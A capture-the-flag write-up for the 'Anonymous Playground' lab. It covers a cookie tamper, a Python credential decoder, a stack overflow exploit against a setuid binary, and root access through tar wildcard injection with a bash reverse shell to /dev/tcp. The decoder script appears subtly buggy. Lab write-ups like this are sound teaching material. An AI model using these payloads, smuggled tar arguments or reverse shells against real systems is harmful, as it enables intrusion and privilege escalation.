

Anonymous Playground - WriteUp

First of all we are going to start with nmap scan:

nmap -sV -sC -Pn -n 10.10.X.X

```
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-12 16:47 IST
Nmap scan report for 10.10.203.157
Host is up (0.10s latency).
Not shown: 974 closed ports
PORT      STATE SERVICE        VERSION
22/tcp    open  ssh            OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_   2048 60:b6:ad:4c:3e:f9:d2:ec:8b:cd:3b:45:a5:ac:5f:83 (RSA)
|_   256 6f:9a:be:df:fc:95:a2:31:8f:db:e5:a2:da:8a:0c:3c (ECDSA)
|_   256 e6:98:52:49:cf:f2:b8:65:d7:41:1c:83:2e:94:24:88 (ED25519)
80/tcp    open  http           Apache httpd 2.4.29 ((Ubuntu))
|_ http-robots.txt: 1 disallowed entry
|_   _/zYdHuAKjP
|_ http-server-header: Apache/2.4.29 (Ubuntu)
|_ http-title: Proving Grounds
```

Let's check the website on port 80 for further enumeration.

We enter the main page and don't see something that interesting, so I decided to check this /zYdHuAKjP directory that we got from nmap (also in /robots.txt).

```
You have not been granted access.
Access denied.
```

We get this Access denied page So I thought to myself maybe we can change the cookie value.

Instead of Access:denied Let's change the cookie value to Access:granted

Name	Value
access	granted

And boom it worked.

Now we get this weird string:

hEzAdCfHzA::hEzAdCfHzAhAiJzAelaDjBcBhHgAzAfHfN

After trying and searching for what this is I've decided to check the hint in THM, and got this message: "Try to replace between zA=a"

In the end the method to crack this was to take the position number of each letter and do $\rightarrow (\text{lowercase_letter} + \text{capital_letter}) \% 26$ and the number we get is the letter

$$(z + A) \% 26 = (26 + 1) \% 26 = 1 = a \rightarrow zA = a$$

I wrote a python script for that

```
#!/usr/bin/python3
import re

string = 'hEzAdCfHzA::hEzAdCfHzAhAiJzAelaDjBcBhHgAzAfHfN'
array = re.findall('[a-zA-Z]', string)

dictt = {'a':1, 'b':2, 'c':3, 'd':4, 'e':5, 'f':6, 'g':7, 'h':8, 'i':9, 'j':10, 'k':11, 'l':12, 'm':13, 'n':14, 'o':15, 'p':16, 'q':17, 'r':18, 's':19, 't':20, 'u':21, 'v':22, 'w':23, 'x':24, 'y':25, 'z':26, 'A':1, 'B':2, 'C':3, 'D':4, 'E':5, 'F':6, 'G':7, 'H':8, 'I':9, 'J':10, 'K':11, 'L':12, 'M':13, 'N':14, 'O':15, 'P':16, 'Q':17, 'R':18, 'S':19, 'T':20, 'U':21, 'V':22, 'W':23, 'X':24, 'Y':25, 'Z':26}

def FindUser(array, dictt):
    new_array = []
    for i in array:
        letter1 = i[0]
        letter2 = i[1]
        if letter1 == ":" and letter2 == ":":
            continue

        for key, value in dictt.items():
            if key == letter1: letter1 = int(value)
            if key == letter2: letter2 = int(value)
            number_of_letter = (letter1 + letter2) % 26

        for key, value in dictt.items():
            if value == str(number_of_letter):
                new_array.append(key)
                break

    return new_array

user_password = ''
print(user_password.join(FindUser(array, dictt)))
```

SSH credentials \rightarrow m****.*****nt

Boom, one user owned

9184*****cc029

```
magna@anonymous-playground:~$ ls -la
total 64
drwxr-xr-x 7 magna magna 4096 Jul 10 2020 .
drwxr-xr-x 5 root root 4096 Jul 4 2020 ..
lrwxrwxrwx 1 root root 9 Jul 4 2020 .bash_history -> /dev/null
-rw-r--r-- 1 magna magna 220 Jul 4 2020 .bash_logout
-rw-r--r-- 1 magna magna 3771 Jul 4 2020 .bashrc
drwx----- 2 magna magna 4096 Jul 4 2020 .cache
drwxr-xr-x 3 magna magna 4096 Jul 7 2020 .config
-r----- 1 magna magna 33 Jul 4 2020 flag.txt
drwx----- 3 magna magna 4096 Jul 4 2020 .gnupg
-rwsr-xr-x 1 root root 8528 Jul 10 2020 hacktheworld
drwxrwxr-x 3 magna magna 4096 Jul 4 2020 .local
-rw-r--r-- 1 spooky spooky 324 Jul 6 2020 note_from_spooky.txt
-rw-r--r-- 1 magna magna 807 Jul 4 2020 .profile
drwx----- 2 magna magna 4096 Jul 4 2020 .ssh
-rw----- 1 magna magna 817 Jul 7 2020 .viminfo
```

Looks like we need to exploit this binary for lateral movement.

First of all let's use file command on the binary

```
magna@anonymous-playground:~$ file hacktheworld
hacktheworld: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=7de2fcf9c977c96655
ebae5f01a013f3294b6b31, not stripped
```

Great it is not stripped which means it contains debugging information so it's more easy to exploit.

Now lets see the binary functions

```
magna@anonymous-playground:~$ readelf -a hacktheworld | grep -i "FUNC"
1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.2.5 (2)
2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND system@GLIBC_2.2.5 (2)
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND printf@GLIBC_2.2.5 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.2.5 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gets@GLIBC_2.2.5 (2)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND setuid@GLIBC_2.2.5 (2)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sleep@GLIBC_2.2.5 (2)
27: 00000000004005b0 0 FUNC LOCAL DEFAULT 13 deregister_tm_clones
28: 00000000004005e0 0 FUNC LOCAL DEFAULT 13 register_tm_clones
29: 0000000000400620 0 FUNC LOCAL DEFAULT 13 __do_global_ctors_aux
32: 0000000000400650 0 FUNC LOCAL DEFAULT 13 frame_dummy
43: 0000000000400780 2 FUNC GLOBAL DEFAULT 13 __libc_csu_fini
45: 0000000000000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.2.5
47: 0000000000400784 0 FUNC GLOBAL DEFAULT 14 _fini
48: 0000000000000000 0 FUNC GLOBAL DEFAULT UND system@GLIBC_2.2.5
49: 0000000000000000 0 FUNC GLOBAL DEFAULT UND printf@GLIBC_2.2.5
50: 0000000000400657 129 FUNC GLOBAL DEFAULT 13 call_bash
51: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_
56: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gets@GLIBC_2.2.5
57: 0000000000400710 101 FUNC GLOBAL DEFAULT 13 __libc_csu_init
59: 00000000004005a0 2 FUNC GLOBAL HIDDEN 13 _dl_relocate_static_pie
60: 0000000000400570 43 FUNC GLOBAL DEFAULT 13 _start
62: 00000000004006d8 56 FUNC GLOBAL DEFAULT 13 main
64: 0000000000000000 0 FUNC GLOBAL DEFAULT UND setuid@GLIBC_2.2.5
65: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sleep@GLIBC_2.2.5
66: 00000000004004e0 0 FUNC GLOBAL DEFAULT 11 _init
```


There is a function called "call_bash" which looks interesting, probably this func calls bash so we can execute commands.

Now lets overflow the program and try to make it execute the call_bash function so we can get a shell.

Fire up the binary in gdb and lets overflow it with msf-pattern_create

```
gdb-peda$ r
Starting program: /home/niv/THM/ForFun/AnonymousV3/hacktheworld
Who do you want to hack? Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Program received signal SIGSEGV, Segmentation fault.
[----- registers -----]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7fab980 -> 0xfbad2288
RDX: 0x0
RSI: 0x6026b1 ("a0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A\n")
RDI: 0x7ffff7fae680 -> 0x0
RBP: 0x3363413263413163 ('c1Ac2Ac3')
RSP: 0x7ffff7fdfc8 ("Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A")
RIP: 0x40070f (<main+55>: ret)
R8 : 0x7ffff7fd80 ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A")
R9 : 0x0
R10: 0x6e ('n')
R11: 0x246
R12: 0x400570 (<_start>: xor ebp,ebp)
R13: 0x0
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[----- code -----]
0x400704 <main+44>: call 0x400540 <gets@plt>
0x400709 <main+49>: mov eax,0x0
0x40070e <main+54>: leave
=> 0x40070f <main+55>: ret
0x400710 <__libc_csu_init>: push r15
0x400712 <__libc_csu_init+2>: push r14
0x400714 <__libc_csu_init+4>: mov r15,rdx
0x400717 <__libc_csu_init+7>: push r13
[----- stack -----]
0000 0x7ffff7fdfc8 ("Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A")
0008 0x7ffff7fdfd0 ("6Ac7Ac8Ac9Ad0Ad1Ad2A")
0016 0x7ffff7fdfd8 ("c9Ad0Ad1Ad2A")
0024 0x7ffff7fdfe0 -> 0x41326441 ('Ad2A')
0032 0x7ffff7fdfe8 -> 0x7ffff7e137d9 (<init_cacheinfo+297>: mov rbp,rax)
0040 0x7ffff7fdff0 -> 0x0
0048 0x7ffff7fdff8 -> 0xe834d36eb5dd2970
0056 0x7ffff7ffe000 -> 0x400570 (<_start>: xor ebp,ebp)
[-----]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040070f in main ()
```

The program crashed and we need to find the \$rsp offset, so let's run this command:

x/xg \$rsp -> it basically prints the value in rsp so we can match it to the msf-pattern_offset

```
gdb-peda$ x/xg $rsp
0x7ffff7fdfc8: 0x6341356341346341

$ /usr/bin/msf-pattern_offset -q 0x6341356341346341
[*] Exact match at offset 72
```

So we found this offset, now lets overflow the program with 72 A' and then our call_bash address in little endian, and finally pipe it to the binary.

```
magna@anonymous-playground:~$ (python -c "print 'A' * 72 + '\x58\x06\x40\x00\x00\x00\x00'; cat) | ./hacktheworld
Who do you want to hack?
We are Anonymous.
We are Legion.
We do not forgive.
We do not forget.
[Message corrupted] ... Well ... done.
```

The cat at the end there was to catch the function so it won't execute and just exit.

I upgraded the shell with msfvenom (you can do it however you want)

And boom we owned a second user.

69ee*****3d9d7

Now for root I explored a lil bit and found a cronjob that root execute

```
# m h dom mon dow user  command
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cro
47 6 * * 7 root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cro
52 6 1 * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cro
*/1 * * * * root    cd /home/spooky && tar -zcf /var/backups/spooky.tgz *
```

So how can we enumerate this tar job? We can exploit this wildcard * at the end by injecting to the /home/spooky dir some commands.

After reading a little bit from tar man page we can do this

```
echo " " > "--checkpoint-action=exec=bash shell.sh"
echo " " > "--checkpoint=1"
```

and also make a shell.sh file:

```
echo 'bash -i >& /dev/tcp/X.X.X.X/4444 0>&1' > shell.sh
```

Set up a listener on our machine and just wait for the reverse shell.

And boom we owned root

```
bc55*****4ce66
```